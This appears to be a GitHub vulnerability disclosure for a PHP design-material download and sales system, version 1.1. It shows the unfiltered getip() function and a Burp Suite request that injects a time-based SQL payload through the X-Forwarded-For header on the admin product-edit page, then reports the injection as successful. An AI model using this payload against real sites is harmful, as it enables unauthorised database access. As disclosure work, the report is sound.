

main

...

[Doc](#) / [sql injection.md](#)

XD-519 Add files via upload

[History](#)

1 contributor

39 lines (22 sloc) | 925 Bytes

...

发货100-设计素材下载系统 1.1 Value parameter has SQL injection

Vulnerability Type :

SQL Injection

Vulnerability Version :

1.1

Recurring environment:

- Windows 10
- PHP 7.3
- Apache 2.4.39

Vulnerability Description AND recurrence:

Source code download link: <http://down.chinaz.com/soft/42490.htm>

When the admin user edits the commodity information, SQL injection is caused.

Reason: when getting user IP, there is no filtering.

```
function getip() {
    static $realip;
    if (isset($_SERVER)) {
        if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) {
            $realip = $_SERVER["HTTP_X_FORWARDED_FOR"];
        } else if (isset($_SERVER["HTTP_CLIENT_IP"])) {
            $realip = $_SERVER["HTTP_CLIENT_IP"];
        } else {
            $realip = $_SERVER["REMOTE_ADDR"];
        }
    } else {
        if (getenv( varname: "HTTP_X_FORWARDED_FOR")) {
            $realip = getenv( varname: "HTTP_X_FORWARDED_FOR");
        } else if (getenv( varname: "HTTP_CLIENT_IP")) {
            $realip = getenv( varname: "HTTP_CLIENT_IP");
        } else {
            $realip = getenv( varname: "REMOTE_ADDR");
        }
    }
    return $realip;
}
```

/conn/function.php

visit /admin/product_add.php?

Modify the product information and click save

商品标题

asd

商品图片

默认图片

nopic.png

上传

删除该图

+ 新增一个商品图

商品价格

出售价

123.00

元

参与VIP折扣活动 [设置折扣] 购买

☒ 参与VIP折扣活动 [设置折扣] 购买

☐ 仅限VIP 购买

进货价

113.00

元

说明: 设置进货价方便统计利润, 可不填 [查看统计]

商品分类

工作总结

*商品无法直接归到主分类, 如果无法选择请先新建子分类

发布时间

2021-03-25 10:01:45

获取

商品销量

0

件

商品排序

0

☒ 置顶

商品审核

已通过

商品排序

0

☒ 置顶

商品审核

已通过

发货类型

[自动发货]固定内容

[自动发货]卡密

[手动发货]实物

*不会设置? 点击查看帮助

发货内容

输入固定发货内容或上传附件

上传附件

+ 展开高级功能

商品介绍

H1

1234

☐ 保存编辑器内的远程图片到本地

保存

保存并返回

无商品可卖? 货源采购

use burpsuite and modify X-Forwarded-For:'|| sleep(2) || '

Target: **Proxy** Spider Scanner Intruder **Repeater** Sequencer Decoder Comparer Extender Project options User options Alerts

1 2 3 4 5 6 7 8 9 10

Go Cancel < >

Target: **http://127.0.0.1**

Request

Raw Params Headers Hex

```
POST /fiv/admin/product_add.php?action=edit&P_id=104 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Forwarded-For: [] sleep(2) []
X-Requested-With: XMLHttpRequest
Content-Length: 344
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/fiv/admin/product_add.php?P_id=104
Cookie: Hm_l_e2ecc5a0268ea1a4c962ec7b4ee5b11=1616071270.1616593944;
UA=LnYsM2A/XDEK14uYBOMjdlJuM1bMzVvNGA2MS41K18zLF4yXmM0NGMsK2EtLjBRNDWqJD
NWRfYjYwLjNf; LankeMobile=;
SESSa634c24c739381fab7741d68783=n11Zs1mLNkhauuCo-dWUHMUcx6LVhgqmkzBVLUdp0
s; DedeUserID=1; DedeUserID__ckMd5=16c889bGadfc4e7; DedeLoginTime=1616572630;
DedeLoginTime__ckMd5=b0ba75353a0b74bc; __atuvc=1%7C12;
PHPSESSID=kugmpq7bdvenup0sg9G3euflo;
Hm_lpv_e2ecc5a0268ea1a4c962ec7b4ee5b11=1616636468;
P_title=123&picpic1_0=nopic.png&P_price=1.00&P_vip=1&P_price3=0.00&P_sot=22&P_time=2021-03-25+00%3A45%3A35&P_solo=0&P_order=0&P_vh=0&P_selltype=1&P_sell%5B%5D=1&P_sell%5B%5D=1&P_rest=100&name=name&mobile=mobile&address=address&P_keywords=&P_description=&P_code=&P_unlogin=1&P_fx=1&P_taoobao=&P_video=&P_vshow=0&P_tag=&P_shuxing=&P_content=1234&
```

Response

Raw Headers Hex

```
HTTP/1.1 200 OK
Date: Thu, 25 Mar 2021 03:40:49 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/7.3.4
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 26

{"msg":"success","P_id":0}
```

Done

378 bytes | 2.037 millis

Successful injection!